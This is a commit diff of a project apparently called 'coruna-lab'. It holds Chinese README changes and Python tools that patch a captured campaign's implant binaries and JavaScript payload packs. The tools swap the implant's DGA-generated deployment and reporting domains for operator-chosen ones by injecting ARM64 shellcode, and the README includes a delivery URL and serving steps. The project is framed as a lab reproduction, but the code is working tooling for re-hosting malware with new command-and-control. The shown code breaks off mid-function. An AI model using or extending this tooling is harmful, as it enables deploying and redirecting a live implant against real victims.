init
This commit is contained in:
@@ -23,23 +23,25 @@ https://www.dhxuhdbej888.icu/web/34f5121f572d6742703eb84ec2f866a6/
|
||||
|
||||
## 新建 / 刷新工作树(推荐)
|
||||
|
||||
从 `source/` 复制 `web` + `sync` 到 **lab 根目录**,再自动 `patch_all.py --apply`(换 Deployment/Reporting seed,打出新域名):
|
||||
从 `source/` 复制 `web` + `sync` 到 **`server/public/`**,再自动 `patch_all.py --apply`:
|
||||
|
||||
```bash
|
||||
cd coruna-lab
|
||||
pip3 install py7zr pycryptodome
|
||||
|
||||
python3 tools/new_project.py
|
||||
# 指定 seed:
|
||||
# 指定 seed / 固定域名:
|
||||
python3 tools/new_project.py --deployment-seed … --reporting-seed …
|
||||
python3 tools/new_project.py \
|
||||
--deployment-domains 'a.example,b.example' \
|
||||
--reporting-domains 'c.example,d.example'
|
||||
```
|
||||
|
||||
域名见 `out/domains.json`。本地服务:
|
||||
域名见 `server/public/out/domains.json`;入口由 Laravel/`server/public` 提供:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8765 --bind 0.0.0.0
|
||||
# 入口:
|
||||
# http://<lan-ip>:8765/web/34f5121f572d6742703eb84ec2f866a6/support.html
|
||||
```text
|
||||
https://<host>/web/34f5121f572d6742703eb84ec2f866a6/support.html
|
||||
https://<host>/sync/daily.html
|
||||
```
|
||||
|
||||
## 文档
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Vendored
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+72
-77
@@ -1,105 +1,100 @@
|
||||
# coruna-lab 工具:DGA seed 替换
|
||||
# coruna-lab 工具:DGA seed / 固定域名
|
||||
|
||||
## 新建 / 刷新工作树(推荐)
|
||||
## 推荐:固定域名列表(多域名探测)
|
||||
|
||||
`source/web` + `source/sync` 为 campaign 原样模板。脚本会复制到 **coruna-lab 根目录** 再打补丁:
|
||||
植入体本身已有「候选列表里哪个可用用哪个」。脚本把 Deployment / Reporting 的 DGA 生成替换为你给的域名列表,并同步改:
|
||||
|
||||
- core(`erupt_flee.js` + `daily.html` 的 sha256/size)
|
||||
- 全部 type0x01 二级包(10 个 `.min.js`)
|
||||
|
||||
```bash
|
||||
cd coruna-lab
|
||||
# 需 py7zr + pycryptodome(macOS 可用 /usr/bin/python3;Homebrew python 建议 venv)
|
||||
pip3 install py7zr pycryptodome
|
||||
|
||||
python3 tools/new_project.py
|
||||
python3 tools/new_project.py \
|
||||
--deployment-domains 'www.dep1.example,www.dep2.example' \
|
||||
--reporting-domains 'www.rep1.example,www.rep2.example,www.rep3.example'
|
||||
```
|
||||
|
||||
等价于:
|
||||
|
||||
1. `source/web` → `coruna-lab/web`(覆盖)
|
||||
2. `source/sync` → `coruna-lab/sync`(覆盖)
|
||||
3. `python3 tools/patch_all.py --apply --root .`
|
||||
|
||||
产物:
|
||||
|
||||
- `web/…`、`sync/` — 可服务树(二级包 + daily/erupt 已换 seed)
|
||||
- `out/seeds.json` — 本次 seed
|
||||
- `out/domains.json` — Deployment / Reporting 候选域名
|
||||
|
||||
常用选项:
|
||||
也支持重复传参:
|
||||
|
||||
```bash
|
||||
python3 tools/new_project.py --skip-patch # 只复制,不打补丁
|
||||
python3 tools/new_project.py \
|
||||
--deployment-domains www.dep1.example \
|
||||
--deployment-domains www.dep2.example \
|
||||
--reporting-domains www.rep1.example \
|
||||
--reporting-domains www.rep2.example
|
||||
```
|
||||
|
||||
产物(`new_project.py` 写入 `server/public/`):
|
||||
|
||||
- `server/public/web/…`、`server/public/sync/` — 可直接由 Laravel public 提供
|
||||
- `server/public/out/seeds.json` — 内部仍写入 seed(供池身份匹配)
|
||||
- `server/public/out/domains.json` — 最终生效的域名列表
|
||||
- `server/public/out/sync/MANIFEST.json` — core sha/size + domains
|
||||
|
||||
约束:
|
||||
|
||||
- 每池最多 **8** 个域名,单域名 ≤ 63 ASCII
|
||||
- 可写 `https://host`(会自动去掉 scheme/path/port)
|
||||
- 部署后把这些域名 DNS/hosts 指到你的 lab server(443)
|
||||
- Deployment 需响应 `/sync/daily.html`;Reporting 需 `/api/user/query` → `OK`
|
||||
- `daily.html` 打到 **Deployment 域名**(不是投递站 `/web/...`);type-0x01 起来后才会请求
|
||||
- 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新 `--apply` 后再部署 `web/` + `sync/`
|
||||
- macOS 建议用 `/usr/bin/python3`(需 `py7zr` + `pycryptodome`);Homebrew 3.14 常缺 `Crypto`
|
||||
|
||||
---
|
||||
|
||||
## 仅重建(已有 server/public web/sync)
|
||||
|
||||
```bash
|
||||
# 若尚无 web/ + sync/,--apply 会自动从 source/ 复制一份
|
||||
python3 tools/patch_all.py --apply --root server/public \
|
||||
--deployment-domains 'www.dep1.example,www.dep2.example' \
|
||||
--reporting-domains 'www.rep1.example,www.rep2.example'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 旧模式:只换 DGA seed(算域名)
|
||||
|
||||
不传 `--*-domains` 时行为与以前相同:随机/指定 seed,DGA 生成候选域名。
|
||||
|
||||
```bash
|
||||
python3 tools/new_project.py
|
||||
# 或
|
||||
python3 tools/new_project.py \
|
||||
--deployment-seed 09d0b8d58a71653cd1c89c64c866f2e6 \
|
||||
--reporting-seed 2d2aebba0bf3d7d694194a7ab93b0a96
|
||||
```
|
||||
|
||||
---
|
||||
### Seed 格式
|
||||
|
||||
## 仅重建(已有根目录 web/sync)
|
||||
|
||||
```bash
|
||||
python3 tools/patch_all.py --root .
|
||||
# 写入根目录 web/ + sync/:
|
||||
python3 tools/patch_all.py --apply --root .
|
||||
```
|
||||
|
||||
`--apply` **必须**带 `--root`,且不会写入 `source/`。
|
||||
|
||||
也可手动指定 seed:`--deployment-seed … --reporting-seed …`。
|
||||
- ASCII,长度 ≤ 32(二进制槽位定长 32)
|
||||
- 推荐正好 32 个十六进制字符
|
||||
- Deployment / Reporting 各一个
|
||||
|
||||
---
|
||||
|
||||
## 当前(原 campaign)seed
|
||||
|
||||
需要提供 **2 个** seed(Deployment + Reporting),不是一个。
|
||||
|
||||
| 角色 | 原 seed(正好 32 字符 hex) |
|
||||
|------|-----------------------------|
|
||||
| Deployment(dev)DGA | `09d0b8d58a71653cd1c89c64c866f2e6` |
|
||||
| Reporting DGA | `2d2aebba0bf3d7d694194a7ab93b0a96` |
|
||||
|
||||
### 格式要求
|
||||
|
||||
- ASCII,**长度 ≤ 32**(二进制槽位定长 32;更长会破坏相邻字符串)
|
||||
- **推荐正好 32 个十六进制字符**(与原样一致)
|
||||
- 短于 32 可以,脚本会在槽位内用 `NUL` 填充
|
||||
- Deployment / Reporting **各提供一个**,彼此独立
|
||||
|
||||
依赖:
|
||||
|
||||
```bash
|
||||
pip3 install py7zr pycryptodome
|
||||
```
|
||||
|
||||
源 dylib 仍读自 `coruna-online/`;未 `--apply` 时产物写到 `out/`(或 `<root>/out/`)。
|
||||
`--apply` 覆盖的是 **工作树** 的 `web/…/*.min.js`(二级)与 `sync/{daily.html,erupt_flee.js}`。
|
||||
|
||||
---
|
||||
|
||||
## 1. 二级包:改 seed → 重打 10 个 `.min.js`
|
||||
## 分步脚本
|
||||
|
||||
```bash
|
||||
# 二级包 type0x01
|
||||
python3 tools/patch_secondary_packs.py \
|
||||
--deployment-seed <32hex> \
|
||||
--reporting-seed <32hex> \
|
||||
--root . \
|
||||
--apply
|
||||
```
|
||||
--deployment-seed <32hex> --reporting-seed <32hex> \
|
||||
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
|
||||
--root . --apply
|
||||
|
||||
## 2. Core / daily
|
||||
|
||||
```bash
|
||||
# core + daily 校验
|
||||
python3 tools/patch_core.py \
|
||||
--deployment-seed <32hex> \
|
||||
--reporting-seed <32hex> \
|
||||
--root . \
|
||||
--apply
|
||||
```
|
||||
--deployment-seed <32hex> --reporting-seed <32hex> \
|
||||
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
|
||||
--root . --apply
|
||||
|
||||
## 3. 只算域名
|
||||
|
||||
```bash
|
||||
# 只算 DGA 域名(固定域名模式不需要)
|
||||
python3 tools/compute_dga_domains.py \
|
||||
--deployment-seed <32hex> \
|
||||
--reporting-seed <32hex> \
|
||||
-n 5
|
||||
--deployment-seed <32hex> --reporting-seed <32hex> -n 5
|
||||
```
|
||||
|
||||
源 dylib 仍读自 `coruna-online/`;`--apply` 写入工作树 `web/` + `sync/`(不会写 `source/`)。
|
||||
|
||||
+8
-4
@@ -66,10 +66,14 @@ def set_tree_root(root: Path) -> Path:
|
||||
def ensure_tree_layout(root: Path) -> None:
|
||||
camp = root / "web" / CAMPAIGN_HASH
|
||||
sync = root / "sync"
|
||||
if not camp.is_dir():
|
||||
raise SystemExit(f"missing campaign dir: {camp}")
|
||||
if not sync.is_dir():
|
||||
raise SystemExit(f"missing sync dir: {sync}")
|
||||
if not camp.is_dir() or not sync.is_dir():
|
||||
raise SystemExit(
|
||||
f"missing working tree under {root} (need web/{CAMPAIGN_HASH}/ and sync/).\n"
|
||||
f"Run first:\n"
|
||||
f" python3 tools/new_project.py --skip-patch\n"
|
||||
f"or directly:\n"
|
||||
f" python3 tools/new_project.py --deployment-domains '...' --reporting-domains '...'"
|
||||
)
|
||||
|
||||
|
||||
def pack_seed(value: str) -> bytes:
|
||||
|
||||
@@ -0,0 +1,621 @@
|
||||
"""Patch PLServerPool DGA helper to return fixed domain lists (probe/failover kept)."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import struct
|
||||
from dataclasses import dataclass, field
|
||||
|
||||
from _common import OLD_DEP, OLD_REP, pack_seed
|
||||
|
||||
_SUB_SP_E0 = 0xD10383FF
|
||||
_MURMUR = bytes.fromhex("21368f52e1c6b372")
|
||||
_NOP = 0xD503201F
|
||||
|
||||
MAX_DOMAINS_PER_POOL = 8
|
||||
MAX_DOMAIN_LEN = 63
|
||||
|
||||
|
||||
@dataclass
|
||||
class SlicePatch:
|
||||
file_offset: int
|
||||
size: int
|
||||
cpu_subtype: int
|
||||
|
||||
|
||||
@dataclass
|
||||
class SliceInfo:
|
||||
blob: bytes
|
||||
file_offset: int
|
||||
cpu_subtype: int
|
||||
sections: dict[str, tuple[int, int]] = field(default_factory=dict) # name -> (vm/file off, size)
|
||||
|
||||
@property
|
||||
def is_arm64e(self) -> bool:
|
||||
return bool(self.cpu_subtype & 0x80000000)
|
||||
|
||||
|
||||
def iter_slices(data: bytes) -> list[SlicePatch]:
|
||||
magic = struct.unpack_from("<I", data, 0)[0]
|
||||
if magic in (0xBEBAFECA, 0xCAFEBABE):
|
||||
nfat = struct.unpack_from(">I", data, 4)[0]
|
||||
out: list[SlicePatch] = []
|
||||
for i in range(nfat):
|
||||
o = 8 + i * 20
|
||||
_ct, cs, soff, ssize, _align = struct.unpack_from(">IIIII", data, o)
|
||||
out.append(SlicePatch(soff, ssize, cs))
|
||||
return out
|
||||
return [SlicePatch(0, len(data), 0)]
|
||||
|
||||
|
||||
def _parse_slice(data: bytes, sl: SlicePatch) -> SliceInfo:
|
||||
blob = data[sl.file_offset : sl.file_offset + sl.size]
|
||||
info = SliceInfo(blob=blob, file_offset=sl.file_offset, cpu_subtype=sl.cpu_subtype)
|
||||
_magic, _ct, _cs, _ft, ncmds = struct.unpack_from("<IIIII", blob, 0)
|
||||
off = 32
|
||||
for _ in range(ncmds):
|
||||
cmd, cmdsize = struct.unpack_from("<II", blob, off)
|
||||
if cmd == 0x19: # LC_SEGMENT_64
|
||||
nsects = struct.unpack_from("<I", blob, off + 64)[0]
|
||||
so = off + 72
|
||||
for _s in range(nsects):
|
||||
sn = blob[so : so + 16].split(b"\x00")[0].decode()
|
||||
saddr = struct.unpack_from("<Q", blob, so + 32)[0]
|
||||
ssize = struct.unpack_from("<Q", blob, so + 40)[0]
|
||||
sfo = struct.unpack_from("<I", blob, so + 48)[0]
|
||||
# In these binaries vmaddr == fileoff for most sections.
|
||||
info.sections[sn] = (sfo if sfo else saddr, ssize)
|
||||
so += 80
|
||||
off += cmdsize
|
||||
return info
|
||||
|
||||
|
||||
def normalize_domain(raw: str) -> str:
|
||||
value = raw.strip()
|
||||
if not value:
|
||||
raise SystemExit("empty domain")
|
||||
for prefix in ("https://", "http://"):
|
||||
if value.lower().startswith(prefix):
|
||||
value = value[len(prefix) :]
|
||||
value = value.split("/")[0].strip()
|
||||
if ":" in value:
|
||||
host, port = value.rsplit(":", 1)
|
||||
if port.isdigit():
|
||||
value = host
|
||||
if len(value) > MAX_DOMAIN_LEN:
|
||||
raise SystemExit(f"domain longer than {MAX_DOMAIN_LEN}: {value!r}")
|
||||
if not all(32 <= ord(ch) < 127 for ch in value):
|
||||
raise SystemExit(f"domain must be ASCII: {value!r}")
|
||||
return value
|
||||
|
||||
|
||||
def parse_domain_list(values: list[str] | None, *, label: str) -> list[str]:
|
||||
if not values:
|
||||
raise SystemExit(f"{label}: provide at least one domain")
|
||||
out: list[str] = []
|
||||
for item in values:
|
||||
for part in str(item).split(","):
|
||||
part = part.strip()
|
||||
if part:
|
||||
out.append(normalize_domain(part))
|
||||
if not out:
|
||||
raise SystemExit(f"{label}: provide at least one domain")
|
||||
if len(out) > MAX_DOMAINS_PER_POOL:
|
||||
raise SystemExit(f"{label}: at most {MAX_DOMAINS_PER_POOL} domains")
|
||||
seen: set[str] = set()
|
||||
uniq: list[str] = []
|
||||
for d in out:
|
||||
if d not in seen:
|
||||
seen.add(d)
|
||||
uniq.append(d)
|
||||
return uniq
|
||||
|
||||
|
||||
def pack_domain_tables(dep: list[str], rep: list[str]) -> tuple[bytes, bytes]:
|
||||
def one(domains: list[str]) -> bytes:
|
||||
return bytes([len(domains)]) + b"".join(d.encode("ascii") + b"\x00" for d in domains)
|
||||
|
||||
return one(dep), one(rep)
|
||||
|
||||
|
||||
def _enc_bl(pc: int, target: int) -> int:
|
||||
imm = (target - pc) // 4
|
||||
if not (-0x2000000 <= imm < 0x2000000):
|
||||
raise SystemExit(f"bl out of range {pc:#x}->{target:#x}")
|
||||
return 0x94000000 | (imm & 0x3FFFFFF)
|
||||
|
||||
|
||||
def _enc_b(pc: int, target: int) -> int:
|
||||
imm = (target - pc) // 4
|
||||
if not (-0x2000000 <= imm < 0x2000000):
|
||||
raise SystemExit(f"b out of range {pc:#x}->{target:#x}")
|
||||
return 0x14000000 | (imm & 0x3FFFFFF)
|
||||
|
||||
|
||||
def _enc_adr(rd: int, pc: int, target: int) -> int:
|
||||
imm = target - pc
|
||||
if not (-1048576 <= imm < 1048576):
|
||||
raise SystemExit(f"adr out of range {pc:#x}->{target:#x}")
|
||||
immlo = imm & 3
|
||||
immhi = (imm >> 2) & 0x7FFFF
|
||||
return 0x10000000 | (immlo << 29) | (immhi << 5) | rd
|
||||
|
||||
|
||||
def _enc_adrp(rd: int, pc: int, target: int) -> int:
|
||||
imm = (target >> 12) - (pc >> 12)
|
||||
if not (-1048576 <= imm < 1048576):
|
||||
raise SystemExit(f"adrp out of range {pc:#x}->{target:#x}")
|
||||
immlo = imm & 3
|
||||
immhi = (imm >> 2) & 0x1FFFFF
|
||||
return 0x90000000 | (immlo << 29) | (immhi << 5) | rd
|
||||
|
||||
|
||||
def _enc_ldr64_uoff(rt: int, rn: int, offset: int) -> int:
|
||||
if offset % 8:
|
||||
raise SystemExit("ldr offset must be 8-aligned")
|
||||
imm12 = offset // 8
|
||||
if not (0 <= imm12 <= 0xFFF):
|
||||
raise SystemExit(f"ldr offset too large: {offset}")
|
||||
return 0xF9400000 | (imm12 << 10) | (rn << 5) | rt
|
||||
|
||||
|
||||
def _decode_ptr(raw: int, blob_len: int) -> int | None:
|
||||
"""Decode plain or dyld-chained rebase pointer to a file/vm offset."""
|
||||
if 0 < raw < blob_len:
|
||||
return raw
|
||||
# dyld_chained_ptr_64_rebase / arm64e variants: low 36 bits often hold target
|
||||
target = raw & ((1 << 36) - 1)
|
||||
if 0 < target < blob_len:
|
||||
return target
|
||||
return None
|
||||
|
||||
|
||||
def _find_cfstring_for_cstring(info: SliceInfo, cstring_off: int) -> int:
|
||||
blob = info.blob
|
||||
# Fast path: plain pointer
|
||||
ptr = struct.pack("<Q", cstring_off)
|
||||
start = 0
|
||||
while True:
|
||||
i = blob.find(ptr, start)
|
||||
if i < 0:
|
||||
break
|
||||
if i >= 16:
|
||||
cfs = i - 16
|
||||
length = struct.unpack_from("<Q", blob, cfs + 24)[0]
|
||||
if length == 32:
|
||||
return cfs
|
||||
start = i + 1
|
||||
|
||||
# arm64e: scan __cfstring
|
||||
off, size = info.sections.get("__cfstring", (0, 0))
|
||||
if size:
|
||||
for i in range(0, size, 32):
|
||||
base = off + i
|
||||
_isa, _flags, raw, length = struct.unpack_from("<QQQQ", blob, base)
|
||||
if length != 32:
|
||||
continue
|
||||
tgt = _decode_ptr(raw, len(blob))
|
||||
if tgt == cstring_off:
|
||||
return base
|
||||
raise SystemExit(f"CFString not found for cstring @{cstring_off:#x}")
|
||||
|
||||
|
||||
def _find_stub_for_selector(info: SliceInfo, name: bytes) -> int:
|
||||
blob = info.blob
|
||||
name_off = blob.find(name + b"\x00")
|
||||
if name_off < 0:
|
||||
raise SystemExit(f"missing selector {name!r}")
|
||||
|
||||
selrefs: list[int] = []
|
||||
# plain
|
||||
ptr = struct.pack("<Q", name_off)
|
||||
start = 0
|
||||
while True:
|
||||
i = blob.find(ptr, start)
|
||||
if i < 0:
|
||||
break
|
||||
selrefs.append(i)
|
||||
start = i + 1
|
||||
# chained
|
||||
off, size = info.sections.get("__objc_selrefs", (0, 0))
|
||||
if size:
|
||||
for i in range(0, size, 8):
|
||||
base = off + i
|
||||
raw = struct.unpack_from("<Q", blob, base)[0]
|
||||
if _decode_ptr(raw, len(blob)) == name_off:
|
||||
selrefs.append(base)
|
||||
|
||||
if not selrefs:
|
||||
raise SystemExit(f"missing selref for {name!r}")
|
||||
|
||||
stubs_off, stubs_size = info.sections.get("__objc_stubs", (0xC0000, 0x40000))
|
||||
lo = stubs_off
|
||||
hi = stubs_off + stubs_size if stubs_size else min(len(blob), 0x100000)
|
||||
|
||||
for selref in selrefs:
|
||||
for i in range(lo, hi, 4):
|
||||
ins = struct.unpack_from("<I", blob, i)[0]
|
||||
if (ins & 0x9F000000) != 0x90000000 or (ins & 0x1F) != 1:
|
||||
continue
|
||||
immlo = (ins >> 29) & 3
|
||||
immhi = (ins >> 5) & 0x1FFFFF
|
||||
imm = (immhi << 2) | immlo
|
||||
if imm & (1 << 20):
|
||||
imm -= 1 << 21
|
||||
page = ((i >> 12) + imm) << 12
|
||||
ins2 = struct.unpack_from("<I", blob, i + 4)[0]
|
||||
if (ins2 & 0xFFC00000) != 0xF9400000 or (ins2 & 0x1F) != 1:
|
||||
continue
|
||||
imm12 = (ins2 >> 10) & 0xFFF
|
||||
if page + imm12 * 8 == selref:
|
||||
return i
|
||||
raise SystemExit(f"missing objc stub for selector {name!r}")
|
||||
|
||||
|
||||
def _find_classrefs(info: SliceInfo, body: int) -> tuple[int, int]:
|
||||
blob = info.blob
|
||||
cr_off, cr_size = info.sections.get("__objc_classrefs", (0x127E80, 0x400))
|
||||
cr_lo, cr_hi = cr_off, cr_off + cr_size
|
||||
hits: list[int] = []
|
||||
|
||||
# LDR literal (common in arm64)
|
||||
for pc in range(body, body + 0x100, 4):
|
||||
ins = struct.unpack_from("<I", blob, pc)[0]
|
||||
if (ins & 0xFF000000) != 0x58000000:
|
||||
continue
|
||||
imm19 = (ins >> 5) & 0x7FFFF
|
||||
if imm19 & 0x40000:
|
||||
imm19 -= 0x80000
|
||||
lit = pc + imm19 * 4
|
||||
if cr_lo <= lit < cr_hi:
|
||||
hits.append(lit)
|
||||
|
||||
# ADRP+LDR
|
||||
for pc in range(body, body + 0x100, 4):
|
||||
ins = struct.unpack_from("<I", blob, pc)[0]
|
||||
if (ins & 0x9F000000) != 0x90000000:
|
||||
continue
|
||||
rd = ins & 0x1F
|
||||
immlo = (ins >> 29) & 3
|
||||
immhi = (ins >> 5) & 0x1FFFFF
|
||||
imm = (immhi << 2) | immlo
|
||||
if imm & (1 << 20):
|
||||
imm -= 1 << 21
|
||||
page = ((pc >> 12) + imm) << 12
|
||||
if not (cr_lo <= page < cr_hi or cr_lo <= page + 0xFFF < cr_hi + 0x1000):
|
||||
continue
|
||||
ins2 = struct.unpack_from("<I", blob, pc + 4)[0]
|
||||
if (ins2 & 0xFFC00000) != 0xF9400000:
|
||||
continue
|
||||
if ((ins2 >> 5) & 0x1F) != rd:
|
||||
continue
|
||||
imm12 = (ins2 >> 10) & 0xFFF
|
||||
lit = page + imm12 * 8
|
||||
if cr_lo <= lit < cr_hi:
|
||||
hits.append(lit)
|
||||
|
||||
# de-dupe preserve order
|
||||
uniq: list[int] = []
|
||||
for h in hits:
|
||||
if h not in uniq:
|
||||
uniq.append(h)
|
||||
if len(uniq) >= 2:
|
||||
return uniq[0], uniq[1]
|
||||
if len(uniq) == 1:
|
||||
# NSString classref usually follows NSMutableArray
|
||||
return uniq[0], uniq[0] + 8
|
||||
# last resort: first two slots
|
||||
return cr_off, cr_off + 8
|
||||
|
||||
|
||||
def _collect_branch_targets(
|
||||
blob: bytes, lo: int, hi: int, *, ops: tuple[int, ...] = (0x94000000,)
|
||||
) -> list[int]:
|
||||
out: list[int] = []
|
||||
for i in range(lo, min(hi, len(blob) - 4), 4):
|
||||
ins = struct.unpack_from("<I", blob, i)[0]
|
||||
op = ins & 0xFC000000
|
||||
if op not in ops:
|
||||
continue
|
||||
imm = ins & 0x3FFFFFF
|
||||
if imm & 0x2000000:
|
||||
imm -= 0x4000000
|
||||
out.append(i + imm * 4)
|
||||
return out
|
||||
|
||||
|
||||
def _discover_dga(blob: bytes) -> tuple[int, int, int]:
|
||||
idx = blob.find(_MURMUR)
|
||||
if idx < 0:
|
||||
raise SystemExit("DGA murmur constant not found")
|
||||
body = None
|
||||
for back in range(0, 0x300, 4):
|
||||
addr = idx - back
|
||||
if addr >= 0 and struct.unpack_from("<I", blob, addr)[0] == _SUB_SP_E0:
|
||||
body = addr
|
||||
break
|
||||
if body is None:
|
||||
raise SystemExit("DGA prologue not found")
|
||||
entry = body
|
||||
if body >= 8:
|
||||
ins_b = struct.unpack_from("<I", blob, body - 8)[0]
|
||||
ins_pac = struct.unpack_from("<I", blob, body - 4)[0]
|
||||
if (ins_b & 0xFC000000) == 0x14000000 and ins_pac in (0xD503237F, 0xD503233F):
|
||||
entry = body - 8
|
||||
end = body + 0x360
|
||||
for a in range(body + 0x80, body + 0x400, 4):
|
||||
if a + 4 > len(blob):
|
||||
break
|
||||
if struct.unpack_from("<I", blob, a)[0] == _SUB_SP_E0:
|
||||
end = a
|
||||
break
|
||||
return entry, body, end
|
||||
|
||||
|
||||
def _resolve_runtime_stubs(blob: bytes, body: int, end: int) -> dict[str, int]:
|
||||
"""Map objc_retain / release / retainAutoreleased / autoreleaseReturnValue stubs."""
|
||||
early = _collect_branch_targets(blob, body, body + 0x50, ops=(0x94000000,))
|
||||
all_bl = _collect_branch_targets(blob, body, end, ops=(0x94000000,))
|
||||
all_b = _collect_branch_targets(blob, body, end, ops=(0x14000000,))
|
||||
if not early:
|
||||
raise SystemExit("DGA helper has no early bl (objc_retain)")
|
||||
retain = early[0]
|
||||
page = retain & ~0xFFF
|
||||
# libobjc stub island on same 4K page
|
||||
island = sorted({t for t in (all_bl + all_b) if (t & ~0xFFF) == page})
|
||||
if retain not in island:
|
||||
island = sorted(set(island + [retain]))
|
||||
# Typical layout near retain: ... autoreleaseReturn, release, retain, retainAutoreleased
|
||||
lower = [t for t in island if t < retain]
|
||||
higher = [t for t in island if t > retain]
|
||||
release = lower[-1] if lower else None
|
||||
auto_ret = lower[-2] if len(lower) >= 2 else (lower[0] if lower else None)
|
||||
retain_auto = higher[0] if higher else None
|
||||
# Fallbacks if ordering differs
|
||||
if release is None and len(island) >= 2:
|
||||
release = next((t for t in island if t != retain), None)
|
||||
if retain_auto is None and len(island) >= 3:
|
||||
retain_auto = next((t for t in island if t not in (retain, release)), None)
|
||||
if auto_ret is None:
|
||||
auto_ret = next((t for t in all_b if (t & ~0xFFF) == page), None)
|
||||
if None in (retain, release, retain_auto, auto_ret):
|
||||
raise SystemExit(
|
||||
f"runtime stubs incomplete island={[hex(x) for x in island]} "
|
||||
f"retain={retain!r} release={release!r} retainAuto={retain_auto!r} autoRet={auto_ret!r}"
|
||||
)
|
||||
return {
|
||||
"retain": retain,
|
||||
"release": release,
|
||||
"retainAutoreleased": retain_auto,
|
||||
"autoreleaseReturn": auto_ret,
|
||||
}
|
||||
|
||||
|
||||
def _apply_shellcode(
|
||||
blob: bytes,
|
||||
*,
|
||||
entry: int,
|
||||
end: int,
|
||||
stubs: dict[str, int],
|
||||
class_array: int,
|
||||
class_string: int,
|
||||
dep_cf: int,
|
||||
rep_cf: int,
|
||||
dep_pack: bytes,
|
||||
rep_pack: bytes,
|
||||
label: str,
|
||||
) -> bytes:
|
||||
avail = end - entry
|
||||
code: list[int] = []
|
||||
labels: dict[str, int] = {}
|
||||
pending: list[tuple[int, str, str]] = []
|
||||
|
||||
def pc() -> int:
|
||||
return entry + len(code) * 4
|
||||
|
||||
def emit(ins: int) -> None:
|
||||
code.append(ins & 0xFFFFFFFF)
|
||||
|
||||
def mark(name: str) -> None:
|
||||
labels[name] = pc()
|
||||
|
||||
def bl(target: int) -> None:
|
||||
emit(_enc_bl(pc(), target))
|
||||
|
||||
def b_label(name: str) -> None:
|
||||
pending.append((len(code), "b", name))
|
||||
emit(0)
|
||||
|
||||
def cbz(rt: int, name: str) -> None:
|
||||
pending.append((len(code), f"cbz{rt}", name))
|
||||
emit(0)
|
||||
|
||||
def cbnz(rt: int, name: str) -> None:
|
||||
pending.append((len(code), f"cbnz{rt}", name))
|
||||
emit(0)
|
||||
|
||||
def adr(rd: int, name: str) -> None:
|
||||
pending.append((len(code), f"adr{rd}", name))
|
||||
emit(0)
|
||||
|
||||
def adrp_ldr(rd: int, abs_addr: int) -> None:
|
||||
p = pc()
|
||||
emit(_enc_adrp(rd, p, abs_addr))
|
||||
emit(_enc_ldr64_uoff(rd, rd, abs_addr & 0xFFF))
|
||||
|
||||
# Save every callee-saved reg we touch (x19-x22, x25). Omitting these
|
||||
# corrupts _generateDomainsLocked and aborts before any /sync probe.
|
||||
emit(0xA9BC7BFD) # stp x29, x30, [sp, #-0x40]!
|
||||
emit(0xA9014FF4) # stp x20, x19, [sp, #0x10]
|
||||
emit(0xA90257F6) # stp x22, x21, [sp, #0x20]
|
||||
emit(0xA90367FA) # stp x26, x25, [sp, #0x30]
|
||||
emit(0x910103FD) # add x29, sp, #0x40
|
||||
emit(0xAA0003F3) # mov x19, x0 ; seed
|
||||
bl(stubs["retain"])
|
||||
|
||||
emit(0xAA1303E0)
|
||||
adr(2, "dep_cf")
|
||||
bl(stubs["isEqualToString"])
|
||||
cbz(0, "check_rep")
|
||||
adr(21, "dep_table")
|
||||
b_label("build")
|
||||
|
||||
mark("check_rep")
|
||||
emit(0xAA1303E0)
|
||||
adr(2, "rep_cf")
|
||||
bl(stubs["isEqualToString"])
|
||||
cbz(0, "empty")
|
||||
adr(21, "rep_table")
|
||||
b_label("build")
|
||||
|
||||
mark("empty")
|
||||
adrp_ldr(0, class_array)
|
||||
emit(0xD2800002)
|
||||
bl(stubs["arrayWithCapacity"])
|
||||
bl(stubs["retainAutoreleased"])
|
||||
emit(0xAA0003F4)
|
||||
b_label("done")
|
||||
|
||||
mark("build")
|
||||
emit(0x394002B6)
|
||||
emit(0x910006B5)
|
||||
adrp_ldr(0, class_array)
|
||||
emit(0x2A1603E2)
|
||||
bl(stubs["arrayWithCapacity"])
|
||||
bl(stubs["retainAutoreleased"])
|
||||
emit(0xAA0003F4)
|
||||
|
||||
mark("loop")
|
||||
cbz(22, "done")
|
||||
adrp_ldr(0, class_string)
|
||||
emit(0xAA1503E2)
|
||||
bl(stubs["stringWithUTF8"])
|
||||
bl(stubs["retainAutoreleased"])
|
||||
emit(0xAA0003F9)
|
||||
emit(0xAA1403E0)
|
||||
emit(0xAA1903E2)
|
||||
bl(stubs["addObject"])
|
||||
emit(0xAA1903E0)
|
||||
bl(stubs["release"])
|
||||
mark("scan")
|
||||
emit(0x394002A8)
|
||||
emit(0x910006B5)
|
||||
cbnz(8, "scan")
|
||||
emit(0x510006D6)
|
||||
b_label("loop")
|
||||
|
||||
mark("done")
|
||||
emit(0xAA1303E0) # mov x0, x19
|
||||
bl(stubs["release"])
|
||||
emit(0xAA1403E0) # mov x0, x20 ; NSArray*
|
||||
emit(0xA94367FA) # ldp x26, x25, [sp, #0x30]
|
||||
emit(0xA94257F6) # ldp x22, x21, [sp, #0x20]
|
||||
emit(0xA9414FF4) # ldp x20, x19, [sp, #0x10]
|
||||
emit(0xA8C47BFD) # ldp x29, x30, [sp], #0x40
|
||||
emit(_enc_b(pc(), stubs["autoreleaseReturn"]))
|
||||
|
||||
table_off = entry + len(code) * 4
|
||||
if table_off % 4:
|
||||
while (entry + len(code) * 4) % 4:
|
||||
emit(_NOP)
|
||||
table_off = entry + len(code) * 4
|
||||
dep_table = table_off
|
||||
rep_table = table_off + len(dep_pack)
|
||||
abs_map = {
|
||||
